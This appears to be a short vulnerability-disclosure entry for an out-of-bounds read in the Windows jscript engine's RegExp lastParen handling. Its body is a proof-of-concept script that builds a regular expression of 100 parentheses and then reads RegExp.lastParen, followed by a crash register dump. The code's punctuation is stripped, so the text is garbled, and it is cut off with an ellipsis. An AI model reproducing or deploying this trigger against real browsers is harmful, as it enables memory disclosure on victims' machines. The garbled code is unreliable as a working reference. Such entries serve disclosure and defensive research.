Microsoft Windows - jscript!RegExpFncObj::LastParen Out-of-Bounds Read

Microsoft Windows - jscript!RegExpFncObj::LastParen Out-of-Bounds Read function go var r= new RegExpArray100.join''; ''.searchr; alertRegExp.lastParen; go; r rax=0000000000000063 rbx=000000000476fd90 rcx=0000000000000063 rdx=0000000000000064 rsi=000000000476fd90 rdi=000007fef23d37d0...